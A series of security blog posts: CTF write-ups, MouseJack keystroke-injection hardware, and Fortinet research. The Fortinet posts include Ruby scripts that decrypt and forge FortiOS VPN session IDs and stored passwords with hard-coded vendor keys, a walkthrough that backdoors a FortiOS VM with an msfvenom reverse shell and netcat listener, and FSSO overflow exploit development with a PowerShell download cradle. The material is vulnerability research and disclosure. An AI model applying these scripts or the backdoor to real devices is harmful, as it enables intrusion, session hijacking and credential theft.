Werkzeug debug mode is similar to the Rails debug console issue above, except that it includes no such whitelisting. The documentation has some pretty strong warnings about the dangers of exposing this functionality to the public Internet. In fact, this is apparently how Patreon got hacked in 2015.

The exploit code for this one is pretty simple:

Padding Oracle

A padding oracle is an API (local or remote) that an attacker can use to determine if the PKCS7 padding on CBC mode encrypted ciphertext is valid or not. This is interesting because of the Boolean algebraic relationship between the padding and the plaintext. For more information on this issue, read the Wikipedia article.

If you’re interested in understanding this crypto attack (and others) in depth, I highly recommend doing the Matasano Crypto challenges. You will be able to break real-world crypto after doing those challenges. I’ve actually used the padding oracle attack in a penetration test and the client was blown away.

The site for this exercise includes registration and login functionality. After registering and logging in, I noticed what appeared to be an encrypted session cookie. When I tampered with the cookie in Burp Suite, the page returned “Invalid Padding”. It’s also worth mentioning that when the cookie was URL and base64 decoded, the length was cleanly divisible by 8. This indicated that it was likely encrypted with a block-based cipher and the block size is probably 8 bytes.

For this exercise I decided to cheat a bit. Coding a padding oracle attack from scratch isn’t hard per se, but it’s not that much fun either. I decided to use a pre-built Python library, which is aptly named python-paddingoracle. It presents a nice clean API and you only have to write the logic to interface with the oracle and return a true/false response.

To exploit this issue, I ran the padding oracle attack twice. The first time, I decrypted the cookie value from a user I registered to learn the format. Then I created my own plaintext cookie for the admin user and used the padding oracle attack to encrypt it. That’s the beauty of a padding oracle attack: you can decrypt and encrypt values without knowing the key.

Exploit code is shown below.

Luhn

This is an interesting exercise. It’s a website that checks whether a credit card number is compromised. Entering the value “4111111111111111” returns “Your CC has been compromised”. This number is a common test number used when doing QA on web-based shopping carts.

A little experimentation yielded an obvious SQL injection vulnerability, but it didn’t appear to be exploitable with SQLmap due to some server-side validation. Some quick Googling on the word Luhn indicates that the validation is a checksum algorithm called the Luhn algorithm. This algorithm is used to validate credit card and bank card numbers.

It took a bit of experimentation in Burp Suite to get this to work. The server-side validation only checks the digits against the Luhn algorithm, so it was possible to sneak in any other characters without influencing validation.

I chose to use Boolean blind SQL injection to exfiltrate the data. To do this, I created a conditional query that returned a the aforementioned “compromised” number when the condition was true. If the condition was false, the query would return nothing and the web site responded with a message indicating that the credit card was not in the database. If the query didn’t pass the server-side checks, the web site responded with “Invalid CC”. This allowed me to create a quick script and use the SUBSTR function on a subquery to test whether the next character was correctly guessed.

The script is shown below. It takes a bit of time to run. There are many ways it could be optimized but I wasn’t in a hurry anyway.

Unickle

According to the description on Pentester Lab, this exercise is “SQL injection combined with remote code execution”. I immediately jumped to the conclusion that in must be union-based SQL injection, and the vulnerability is likely to be Python Pickle deserialization.

Since the table rows on the site were probably displayed exactly as they were stored in the database, I deemed it unnecessary to test how many fields are present or their data types. So, the SQL injection part appeared to be dead simple.

For the Python Pickle deserialization exploit, I created a custom Python object with a __reduce__ method. This method is used by the Pickle library to determine how to serialize the object. It should return a tuple, where the first variable in the tuple is a callable object, and the second is a tuple of parameters. See the Python documentation for more information.

This means that if the __reduce__ method returns os.system as the first value and a tuple with a single string entry (defining a shell command to run) as the second, the result will be arbitrary code execution. The final exploit is shown below.

ECDSA

Source code for this exercise is provided on the site. It also includes register and login functionality. Before I read the code, I decided to do a little reading up on ECDSA. Fortunately, Wikipedia has a good article on ECDSA.

I don’t know if it’s just me, but it seems like for a lot of hacking you just need to read the documentation and look for bolded text. Go skim the Wikipedia article for a second. Notice the bold text?

Select a cryptographically secure random integer k from [1,n−1].

Okay, thanks Wikipedia. After reading the source code and checking the ECDSA rubydoc, I found this gem:

def sign(str)
  digest = Digest::SHA256.digest(str)
  temp_key = str.size
  signature = ECDSA.sign($group, $private_key, digest, temp_key)
end

It turns out that in this case, temp_key is the value of k, which is predictable. That doesn’t seem too hard to exploit.

You might have noticed that all my exploits for this CTF are in Python. In the past I’ve always used Ruby, but I’m giving Python a try. I feel compelled to explain why.

I love Ruby. I love how it feels like there’s less friction between me and the machine. Like I’m describing the solution to a problem in my native tongue. I like the clean OO model Ruby uses, and how everything is just an object — all the way down. I love the flexibility and metaprogramming that have provided us with ActiveRecord, Logstash and Puppet.

But here’s the thing: there are just no libraries, and a lot of the existing libraries are not well maintained. Python has libraries like scikit-learn. It has libraries for reading and write Word and Excel files, creating PDF files, and so much more. For the infosec/hacking crowd, it has great libraries and projects like Scapy, Responder.py, Impacket, Volatility, IDAPython, GDB plugins, Binary Ninja plugins, etc.

So now I’m using Python. I wouldn’t say that I’m “loving it”, but life isn’t perfect. So it goes.

As tempting as it was to write the solution in Ruby using the ECDSA gem, I decided to plod along and look for a Python ECDSA library. It didn’t take long to find one. I combed through the library looking for all the necessary functions and then read up on the attack. As it turns out, this is the same attack used to recover the Playstation 3 signing key.

My solution is shown below:

Summer Projects

Last summer a friend and I worked on some electronics projects so I thought I’d write a post about it.

MouseJack

Marc Newlin and the team over at Bastille released a vulnerability called MouseJack in early 2016. This vulnerability allows an attacker to send keystrokes directly to a wireless mouse or keyboard, similar to a Hak5 Rubber Ducky, but from up to hundreds of meters away.

I found out about the vulnerability around June last year and immediately set about to replicate the research. Shortly after, we published a tool called JackIt.

JackIt is a relatively simple Python script that leverages a CrazyRadio PA USB adapter to inject keystrokes into many Microsoft and Logitech keyboards and mice using the NRF24L01+ protocol. It uses the same HID attack description syntax as the Hak5 Rubber Ducky, called Duckyscript, and you can find example payloads in the project wiki.

Microcontroller MouseJack

After my friend and I wrote the JackIt tool, we realized that carrying around a laptop with a specialized USB radio was a bit sketchy. It would be much more effective to carry around a simple physical key fob that would opportunistically exploit the vulnerability.

In August, after a bit of Arduino tinkering and learning to solder, we found a platform that worked nicely and created a portable version called uC_Mousejack. Depending on the battery size and radio, it can run for up to a day per charge and still manages 25 meters of range.

The microcontroller version uses PlatformIO as the toolchain (which is brilliant), and includes a Python script to compile Duckyscripts into C arrays for easy firmware recompilation.

uDuck

During the uC_Mousejack project, I discovered that working with simple electronics is a breeze. I’m really surprised that there aren’t more custom hardware-based attacks in common use by penetration testers, especially considering that binary exploitation is a lot more challenging today.

My friend and I once again teamed up for the uDuck project and decided to make a simple PCB. The obvious choice was the USB HID attack popularized by the Hak5 Rubber Ducky. It’s a great attack, but unfortunately I can’t afford to drop a handful of $45 USB devices in a parking lot and hope for the best.

It’s worth mentioning that around the same time, Sensepost released the USaBUSe project. I really like the concept of a more feature rich version, but it doesn’t fit our use case well. We wanted ultra-cheap devices that we can label as “Confidential” and leave in parking lots or around employee smoke-break areas. uDuck is the philosophically opposite approach and embraces minimalism instead.

You can find the Github repo for uDuck here.

The uDuck can be reprogrammed over the same USB port that delivers the attack. To accomplish this, it leverages the Micronucleus bootloader. Essentially, it waits in the bootloader for 2 seconds after being connected, then changes into a keyboard device. The included Python script compiles a Duckyscript payload into a byte array, patches the firmware with the byte array (containing HID codes and delays) and waits for the USB device to be connected. Once connected, the new firmware is uploaded.

No more fishing a microSD card out of a tiny slot and finding a card reader :).

So why is uDuck interesting? The devices can be made for less than $2 in relatively small quantities. It changes the economics of carrying out this attack.

Conclusion

I figured that MouseJack would be obsolete by now — it’s been over a year. Unfortunately it seems many of the vulnerable devices can still be bought in stores. It’s interesting that we find vulnerabilities in information security every day, but the old ones never seem to go away.

Anyway, if you’re in the infosec community don’t be afraid to jump into electronics. In the past, the toolchains for microcontrollers were arcane, the specialized equipment required was expensive and the learning curve was steep. The Arduino community and the momentum behind IoT made all of that a thing of the past.

I highly recommend buying some Feather boards from Adafruit and running through some of their tutorials. If you don’t want to learn C/C++, you can try out other boards like Puck.js (uses Javascript) or the Pycom boards (which use Python).

Bad Crypto

After figuring out how to unpack the binaries in FortiOS (covered in my last post), I noticed most of the functionality is provided by /bin/init, and all other daemons are just symlinks to that one file. So I followed my first instinct and loaded it into IDA.

The first thing one notices is all the xrefs to strcpy and sprintf. Yeah, thar be 0-days. But let’s not get into that just yet.

After a bit of hunting for interesting OpenSSL function xrefs and looking for interesting strings, I noticed there are many hard-coded encryption keys. This isn’t a great practice, it means some aspects of the systems security are governed by “security through obscurity”. In other words, they’re hoping no one will check and see how it works under the hood.

Let’s start with SSLVPN. FortiGate has both web-based and thick client SSLVPN. From my Burp proxy logs, the authentication sequence goes something like this:

  1. The client browses to the FortiGate via HTTPS, and is redirected to /remote/login.
  2. The client issues a POST to /remote/logincheck and is redirected to stage 2 authentication, which appears to be a “host check”.  I’m guessing it has features to verify that AV is installed and that sort of thing.
  3. The host check URL is /remote/hostcheck_install.  It has a few parameters, some of which appear encrypted.

The interesting thing about the host check URL is that this is the URL that actually responds with the Set-Cookie header, issuing the user an authentication cookie. So if you can guess or brute force this URL, you get a valid session. Neat.

Let’s take a look at an example request:

GET /remote/hostcheck_install?auth_type=1&user=76706E75736572&&grpname=76706E&portal=66756C6C2D616363657373&&rip=172.16.8.1&realm=&sid=DB810DEC6F55E7863B389C8A8E2B8E0CD265F9F2162974722D8D8B19E9A54E6815CE6763091B0338CDAF1DFC8C2972AB22E974CCEA985EDB8FBF4A2BFFF935EFDD4DA4FED0DB331D37309435C539849B0D073607E6E1E2FDADFC21FF0E581004B9933266843629D80E90C9569D922920E489F82BF61869092FD538E57C67A6C2 HTTP/1.1

Okay, so the user, grpname and portal parameters are just hex encoded.  So user, for example, is “vpnuser” in ASCII. But what is the sid parameter?  Can we decode this?

As it turns out, I stumbled upon the code to decrypt the sid (and SVPNCOOKIE) by accident. I notice the string “c25*dc2$dgl#jp^” in the string table of the /bin/init binary, and my curiosity was peaked. After some extensive reversing, here’s some Ruby code to decrypt the sid values, and make new ones:

#!/usr/bin/env ruby
# encoding: binary

require 'openssl'

def get_cipher_key(s)
  sv_cookie_key1 = "\xdf\x19\x79\x86"
  sv_cookie_key2 = "\x38\xba\x40\xdf"
  
  sv_cookie_hkey = 
    "\xcd\xf1\xfb\x45\xdc\x85\x37\xba" +
    "\x9d\xce\x58\x45\xc7\xb0\x9e\x62" +
    "\x46\x2a\x2a\xb0\xec\x15\x5b\x5b" +
    "\x29\x2a\x02\x34\xe0\x7c\x92\xb5"
  	
  hmac = OpenSSL::HMAC.digest('sha1', sv_cookie_hkey, s)  
  ks = sv_cookie_key1 + sv_cookie_key2 + hmac[0,8]
  iv = hmac[0,16]
  [ks, iv]
end

def encode_sid(sid)  
  secret = "c25*dc2$dgl#jp^"
  sid += OpenSSL::HMAC.digest('sha1', secret, sid)
  
  cipher = OpenSSL::Cipher::Cipher.new('camellia-128-cbc')
  cipher.encrypt

  cipher.key, cipher.iv = get_cipher_key(secret)
  
  cookie = cipher.update(sid)
  cookie << cipher.final
  cookie.unpack('H*').join('').upcase
end

def decode_sid(sid)
  sid = sid.scan(/../).map { |x| x.hex.chr }.join
  secret = "c25*dc2$dgl#jp^"
  
  cipher = OpenSSL::Cipher::Cipher.new('camellia-128-cbc')
  cipher.decrypt

  cipher.key, cipher.iv = get_cipher_key(secret)
  
  cookie = cipher.update(sid)
  cookie << cipher.final
  cookie[0..-21]
end

puts decode_sid(ARGV[0])

You might be wondering — what’s up with the get_cipher_key function? I think this is their crude attempt at obfuscation. The translation to ruby is fairly literal, so I left this as is. But yes, they actually derive the key at runtime, to make my life a little more interesting.

If you run the script with a valid sid parameter as an argument, you should get similar output to the following:

0016FGVMEV00000000000007vpnuser0003vpn0011full-access0010172.16.8.100000&1&1441219811&1441219811

Neat. So it appears each value is encoded with a 4-digit length field, then the value. The vaules seem to be serial number, username, user group, portal name, IP address, some zeros (probably the realm), a “1”, and the epoch time stamp (twice). Wait… all of this is simple to brute force!

I’ll leave the implementation of a brute force script to the reader, but yeah, it works. There is very little entropy in the sid token. The serial number of a remote FortiGate is simple to obtain. Many of the self-signed certificates on the system set the CN to the serial number, so in most cases it’s as easy as “echo “” | openssl s_client -showcerts -connect <ip address>”.

If that doesn’t work, try spoofing a CAPWAP packet — but that’s a story for another day.

The unix epoch time can be iterated over the last hour or so, and the source address may be known if the target can be observed. NAT means that any person logging in via an airport of coffee shop network has a known source IP. And if you already have credentials to the VPN and just want to login as a different user (with more favorable permissions), it’s dead simple.

While that’s pretty cool, are there any other obvious examples of bad crypto? Another thing that caught my eye is encrypted passwords in the config. Now passwords for admin users are stored using a hash, albeit a weak one (Hashcat will crack the hashes that start with AK1), it’s still not simple to reverse. But take a look at the passwords for other system users:

config user local
 edit "vpnuser"
  set type password
  set passwd-time 2015-09-02 11:45:00
  set passwd ENC XR/8Zk1ztvCtvMCrFT661civgZ3XxLZR0aWUuKCMGYVOk0KXpo41RnA5w/jkY76FzX3bTVWaehMTMypDO0s68a2SVApPvWAUXJKJZsUrU0RKyxa279fBcvVuM6TVYFvOa/INexHo99zbneHEr2O14tyxt5RGLPlVobWMgpJuJTFF1b5UDSbRc5hoS1/4ERHvi+Vazg==
  next
end

It turns out these are reversible. You can tell because values such as IPSec PSKs (which need to be known in cleartext) are encoded this way. So after some more reversing, I figured out the encryption scheme:

#!/usr/bin/env ruby
# encoding: binary

require 'openssl'
require 'base64'

iv, text   = Base64.decode64(ARGV[0]).unpack("a4a144")
cipher     = OpenSSL::Cipher::Cipher.new('des-cbc').decrypt
cipher.key = "\x34\x7c\x08\x94\xe3\x9b\x04\x6e"
cipher.iv  = iv + "\x00" * 4

pass = cipher.update(text)
eos = pass.index("\x00")

if eos && eos > 0
  pass = pass[0,eos]
end

puts pass

If you run the code above with the base64 value from the config snippet above, it will decrypt to the value “password”.

The moral of the story is this: don’t use baked-in encryption keys. Use hashes (strong ones) when possible. If that isn’t possible, create keys from random numbers (with good entropy). If that’s not possible, derive keys from a configurable master pass phrase. But don’t ever bake it in and hope no one will reverse engineer your code.

Backdooring a FortiOS VM

Lately I’ve been playing with FortiOS 5.4 Beta 3 VM.  In previous versions of FortiOS, you could use the hidden fnsysctl command to run linux CLI commands (only a subset, unfortunately).  For example, if you download the FortiOS 5.2 x86 VM, you can run the command “fnsysctl cat /proc/version”, which will display the Linux kernel version it uses.

For those of you that didn’t know, FortiOS is Linux. They are the same.  And FortiOS, up to and including version 5.2, is Linux 2.4. This means that FortiOS does not have ASLR, DEP, stack cookies, or any modern Linux exploit countermeasures.  And everything is written in C, and all processes run as root.

Personally, I find this bizarre. The company I work for has FortiGate firewalls, and it’s a little weird to think that the only Linux box we have running kernel 2.4 is the box we’re using to protect all the other Linux boxes.  Anyway, I digress.

Back to FortiOS 5.4. It seems that Fortinet is tired of porting third-party vendor SDK driver code back to Linux 2.4, so they decided to upgrade the kernel to 3.2. ASLR is even enabled. Not sure about DEP, but I know stack cookies aren’t enabled. But it also appears that “fnsysctl” has been removed. Let’s fix that.

Once you’ve downloaded the OVF zip archive, unzip it, then run ovftool to get it working on VMware Fusion (or Workstation). You will find that it sets up two disks, with the first disk name ending with “-disk1.vmdk”. This is the system boot drive and is formatted ext2.

For our experiment, you’ll need a Linux box. Something on the 3.x kernel, running 32-bit (i686-pae is fine). In VMware, add an “existing disk” to your Linux VM. It’s fine to copy the disk rather than sharing it with the FortiOS VM. Make sure that FortiOS is powered down via “exec shutdown” and not simply suspended.

Once you’ve copied the VMDK and connected it to your Linux VM, mount the disk via “mkdir /mnt/fos” and “mount /dev/sdb1 /mnt/fos”. The disk may be detected as something other than /dev/sdb1.  Use the output of dmesg to check.

Now cd to the /mnt/fos directory, and enter “ls -la”.  You should see the following files:

drwxr-xr-x 8 root root     1024 Aug 30 21:06 .
drwxr-xr-x 8 root root     4096 Aug 30 10:29 ..
drwxr-xr-x 2 root root     1024 Aug 17 20:53 bin
-rw-r–r– 1 root root        1 Aug 17 20:53 boot.msg
drwxr-xr-x 2 root root     1024 Aug 24 17:54 cmdb
drwxr-xr-x 2 root root     1024 Aug 30 19:58 config
-rwxr-xr-x 1 root root    32516 Aug 30 20:03 crash
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcp6s_db.bak
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcpddb.bak
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcp_ipmac.dat.bak
drwxr-xr-x 8 root root     2048 Aug 24 14:51 etc
-rw-r–r– 1 root root      124 Aug 17 20:53 extlinux.conf
-rw-r–r– 1 root root  2314464 Aug 17 20:53 flatkc
-rw-r–r– 1 root root      256 Aug 17 20:53 flatkc.chk
-r–r–r– 1 root root    32256 Aug 17 20:53 ldlinux.sys
drwxr-xr-x 2 root root     1024 Aug 22 10:59 lib
drwx—— 2 root root    12288 Aug 17 20:53 lost+found
-rw-r–r– 1 root root 21959605 Aug 31 19:21 rootfs.gz
-rw-r–r– 1 root root      256 Aug 17 20:53 rootfs.gz.chk

Great. Now if you cat the extlinux.conf file, you will see that the initrd is set to rootfs.gz. Go ahead and extract this file with gzip, preferably to a different directory. I extracted mine to /root/rootfs. I’m using Kali so hence running as root.

The rootfs blob you extracted is a cpio image. You can extract the files with cpio, using the syntax “cat rootfs | cpio -idmv”. You should now see all the files in the rootfs directory. Go ahead and delete the extracted gzip (called rootfs).

So now we have the following files in our /root/rootfs directory:

drwxr-xr-x 11 root root     4096 Aug 30 10:34 .
drwxr-xr-x 60 root root     4096 Aug 31 19:10 ..
-rw-r–r–  1 root root 12463836 Aug 31 19:21 bin.tar.xz
drwxr-xr-x  2 root root     4096 Aug 17 20:51 data
drwxr-xr-x  2 root root     4096 Aug 17 20:51 data2
drwxr-xr-x  6 root root    20480 Aug 30 10:34 dev
lrwxrwxrwx  1 root root        8 Aug 30 10:34 etc -> data/etc
lrwxrwxrwx  1 root root        1 Aug 30 10:34 fortidev -> /
lrwxrwxrwx  1 root root        1 Aug 30 10:34 fortidev4 -> /
lrwxrwxrwx  1 root root       10 Aug 30 10:34 init -> /sbin/init
drwxr-xr-x  2 root root     4096 Aug 30 10:34 lib
-rw-r–r–  1 root root  5104324 Aug 17 20:51 migadmin.tar.xz
drwxr-xr-x  2 root root     4096 Aug 17 20:51 proc
drwxr-xr-x  2 root root     4096 Aug 30 10:34 sbin
drwxr-xr-x  2 root root     4096 Aug 17 20:51 sys
drwxr-xr-x  2 root root     4096 Aug 17 20:51 tmp
-rw-r–r–  1 root root  1112980 Aug 17 20:52 usr.tar.xz
drwxr-xr-x  8 root root     4096 Aug 30 10:34 var

We’re almost there. The file we’re looking for is called bin.tar.xz. It appears to be an xz compressed tar file, however, all of my attempts to extract this file with xz indicates that it is corrupted.

Fortinet must have altered their version of tar and xz. Luckily, they’ve left their copy kicking around for us to play with. If you look in the /root/rootfs/sbin directory there are three files: init, ftar and xz. To makes these files run, you can chroot to the /root/rootfs directory so that they find their libs in the right directory. Worked fine for me on Kali 1.x running i686-pae kernel.

Extract the contents of the bin.tar.xz using “chroot /root/rootfs sbin/xz -d bin.tar.xz” and “chroot /root/rootfs sbin/ftar -xf bin.tar”.  Issue these commands from the /root/rootfs directory. This should unpack the files into the bin directory under the rootfs.

Now we need to backdoor a binary. I make it really simple. Just “cd” into the rootfs bin directory, and run “rm smartctl” and “msfvenom -p linux/x86/shell_reverse_tcp -f elf -o smartctl LHOST=172.16.8.1 LPORT=22”. Use an LHOST IP address that the FortiOS VM has connectivity to. This will overwrite the smartctl file with a TCP reverse shell.

Now we need to repackage the files:

cd /root/rootfs

rm bin.tar

rm bin.tar.xz

chroot /root/rootfs sbin/ftar -cf bin.tar bin

chroot /root/rootfs sbin/xz –check=sha256 -e bin.tar

rm bin/*

find . | cpio -H newc -o > /root/rootfs.raw

cat /root/rootfs.raw | gzip > /mnt/fos/rootfs.gz

Now unmount the FortiOS partition and shutdown your Linux VM. Copy the “-disk1.vdmk” that was mounted on your Linux VM over the same VMDK from the FortiOS VM. Now start the FortiOS VM. Try not to act shocked when it boots :)

Once the system is booted, login and drop to a CLI. On your host system, startup a netcat listener:

sudo nc -v -l 22

Now on the FortiOS VM, issue the command: “diag hardware smartctl”.  You should get your connect-back shell.

Now the first thing you’ll likely notice is:

ls
/bin/sh: ls: not found

Don’t panic. This is expected. FortiOS uses “busybox” style binaries extensively, so the command you’re looking for is:

/bin/sysctl ls

The “sysctl” binary has a lot of command line tools, which you can discover by entering the /bin/sysctl command by itself. Now that you have a shell, go and statically compile gdb and get fuzzing.

At this point, you may be wondering: doesn’t FortiOS have integrity checks to prevent this sort of thing? What’s the rootfs.gz.chk file for, then? The answer is, yes, it appears that firmware images and critical files such as the rootfs and kernel do have these signatures in the form of “chk” files.

However, these files are only checked when in FIPS mode. FIPS mode also disables most of the features on the box, so outside of the government, I do not think anyone actually enables FIPS mode. What’s interesting about that, is that all the “certifications” that FortiOS has, ie. EAL4+, are tested while running in FIPS mode.

Thanks for reading! Next post, we’re going to try extracting firmware files of other platforms (real FortiGate hardware firewalls), backdoor them, then see if we can upgrade to a backdoored image.  Should be lots of fun.

Fortinet FSSO Exploits

In my last post, I fuzzed FSSO on port 8000 with Peach fuzzer to replicate the exploitable overflow discovered by Enrique Nissim of Core Security.  It turns out that the DC Agent service on UDP port 8002 also has an exploitable overflow that seems to have been patched after build 143.  In this post we’ll present an exploit for each of these issues.

DCAgent Protocol

The DCAgent protocol is a collector service that aggregates login events from other domain controllers.  There is no authentication and it’s transported over UDP.  We’ll ignore the obvious security flaw here — anyone can send a UDP packet and will be authenticated in FSSO as any user they choose.  Instead we’ll fuzz the service and see if we can find an exploitable crash.

To get an idea of the various fields in this protocol, you can download the Peach Pit from github.  It’s basically a header and trailer with a login record encapsulated within.  The login record is comprised of the user’s IP address and their “DOMAIN\user” AD username.

Fuzzing this protocol on build 143 results in some fairly obvious stack overwrites:

r
eax=00000000 ebx=75e89894 ecx=00000000 edx=11a9f744 esi=75ea47ad edi=75e8dbeb
eip=41fffe41 esp=11a9f848 ebp=1c6fcf60 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
41fffe41 ?? ???

kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
11a9f844 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f848 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f84c 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f850 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f854 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f858 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41

This appears to be triggered by overflowing the IP address string field in the login record, resulting in direct return address overwrite. Why they wouldn’t use /GS and SafeSEH (not to mention ASLR) on a service providing authentication is beyond me.

The first step towards developing a stack buffer overflow exploit is figuring out the buffer offset to the EIP overwrite.  I used Metasploit’s pattern_create/pattern_offset utilities for this purpose.  This provided reliable control over EIP.

Unfortunately, there is still DEP to contend with.  Normally, when DEP is combined with ASLR, it forms a fairly robust defense against stack buffer overflow exploitation.  DEP is opt-out on Windows 2008 and Windows 2012 Server, so it is enabled by default.  ASLR, on the other hand, is opt-in.  It requires that the libraries and binary are relocatable.  In the FSSO service, both collectoragent.exe and ssleay32.dll are not relocatable and no ASLR is applied to these modules.

Without ASLR, we can reuse existing pieces of the code contained in non-ASLR modules so that we are not required to directly execute code from the stack.  This can be accomplished by using a ROP Chain.  There are a few other issues however.

First, we have very limited buffer space since the exploit must fit in a small buffer within a single UDP packet.  This means we have to keep the ROP chain quite small.

Second, at the point of EIP overwrite, our buffer has been modifed — all lower case characters have been converted to upper case.  Normally this would make exploitation very difficult since it’s nearly impossible to build a ROP chain without any lower case characters (it’s tricky enough to build a ROP chain in the first place).  Using the debugger, I discovered that the original buffer is still on the stack.  We’ll have to adjust ESP through a phase I ROP chain in order to pivot to the unmodified buffer.

Third, we can’t use nulls since the exploitable condition is a result of a libc string handling function, probably an sprintf or strcpy (I haven’t actually checked).  To make things even more fun, we also can’t use the forward slash (byte value 0x2f) because this is the delimiter between the IP Address, domain and user name.  These values, 0x00 and 0x2f, are so-called bad characters.

The ROP Chain

Given the constraints above, I decided to keep things simple (or hacky, depending on your perspective).  I’ll use a short chain to call WinExec.  WinExec will launch a short snippet of Powershell code, which will call back to our web server and pull down a Powershell payload.

The WinExec function isn’t present in any of the non-ASLR module’s import address tables (IATs), so we’ll have to use an offset from a Kernel32 export present in the IAT.  I’m using GetTimeZoneInformation for this purpose, which is probably not a great choice.  The caveat with using a delta is that we must use hard-coded values.  The delta between the GetTZInfo function and WinExec is Windows version specific and it often changes between service pack or even between security updates.

Strictly speaking, we also can’t use a hard-coded delta since this contains nulls, instead we must use the binary 1’s complement in the actual ROP chain and hope that it doesn’t contain any bad characters.  I’ve included most of the magic values for versions of the kernel32.dll used by Windows Server 2008 R2 and 2012 R2 in the exploit.  If I missed a version you’d like to test with, use this short stand-alone Ruby script to generate magic values for kernel32.dll.  I admit it’s a bit of a kludge.

The PoC exploit, complete with ROP chain, is available on github here.  This issue seems to be patched after build 143.

FSSO Exploit

Now that we have a working ROP chain we can plug that into the FSSO exploit and it should just work.  Again we’ll need to use MSF pattern_create/pattern_offset to find the EIP overwrite.  For our exploit, this is at 96 bytes into the serial number field of the FSSO packet.  We can simply start the ROP chain right at offset 96.

You can find the PoC exploit for FSSO on TCP port 8000 here.  This issue is patched in build 237, but the ROP chain currently only works up to build 143 due to changes in the OpenSSL libraries (feel free to tweak if you need to pop build 161).

Next Steps

While the DCAgent overflow requires such a convoluted ROP chain due to bad characters and space limitations, the FSSO overflow does not have these limitations.  It is triggered via a bad memcpy into a stack buffer, so nulls are allowed.  If I have time I’ll write a new ROP chain for that exploit in order to make it more portable (or at least not Windows version specific).  Until then, happy exploitation!

Fuzzing for Domain Admin

Last week Enrique Nissim of Core Security published an article called Analysis of a Remote Code Execution Vulnerability on Fortinet Single Sign On.  Lately I’ve been using Deva Vu Security’s excellent Peach Fuzzer to find vulnerabilities, and I wanted to see how easy this would be to reproduce.

First, I installed Wireshark, Windbg, Peach 3 and FSSO 4.3.143 onto a Windows 2008 R2 server VM.  While Windows 2008 R2 is 64-bit only, FSSO is always 32-bit, which should make writing the exploit simpler.  Next, I loaded up a FortiGate VM and configured FSSO according to the documentation.  All Fortinet products can be downloaded and trialed for 14-days which makes vulnerability hunting a breeze, although you will have to set up an account first.

As indicated by Enrique’s article, FSSO communicates via TCP port 8000.  A Wireshark capture shows the structure of the hello packet:

wireshark1

The capture shows the packet format as follows:

  • A packet header, comprised of 32-bit big endian size field of the whole payload including the size field, a tag value of 80, and a type value of 06.  These tag and type value correspond to a hello packet.
  • TLV-like structures, with the same size, tag, type and value structures.
  • TLVs for version, serial number and an MD5 authentication hash.

Peach fuzzer uses XML to describe how to fuzz a target.  The portion of the XML that describes the packet format is the data model.  Other sections include a state model, which describes stateful protocols (we’re only fuzzing the hello packet), an agent, which describes how to instrument the target, and a test, which describes how to interface with the target.  The full Peach Pit can be found on github.

Running the Peach Pit is simple.  I’ve installed Peach into the directory c:\peach on the Windows 2008 R2 VM.  You can start fuzzing by copying the Pit to the peach directory and running “peach.exe fsso.xml”.

After only 41 fuzz runs, I obtained the following crash:

(13f8.e54): Access violation - code c0000005 (first chance)
eax=fffffffe ebx=00000658 ecx=75e898da edx=1c781104 esi=ffffffff edi=1c7e2ce8
eip=41414141 esp=1cbbfe1c ebp=00000000 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
41414141 ??              ???

Textbook stack buffer overflow.  To make the situation worse, two modules in the FSSO service do not use ASLR:

mona

So we know we can get 0x41414141, and we know we have at least two modules that do not have ASLR enabled, and one of them contains address values with no nulls, which is perfect for a ROP chain.

FSSO usually runs as domain administrator.  If we’re able to exploit this service we effectively have control over the entire network.  While Fortinet might not be a common household name like Cisco or Microsoft, Fortinet has sold over a million firewalls and FSSO is widely deployed.  It is also quite likely that there are other vulnerabilities in this service, such as the DCAgent protocol running on UDP port 8002 (which is also enabled by default).  Next week I’ll demonstrate how to build a working Metasploit module for this vulnerability, and we’ll try some fuzzing of the DCAgent protocol.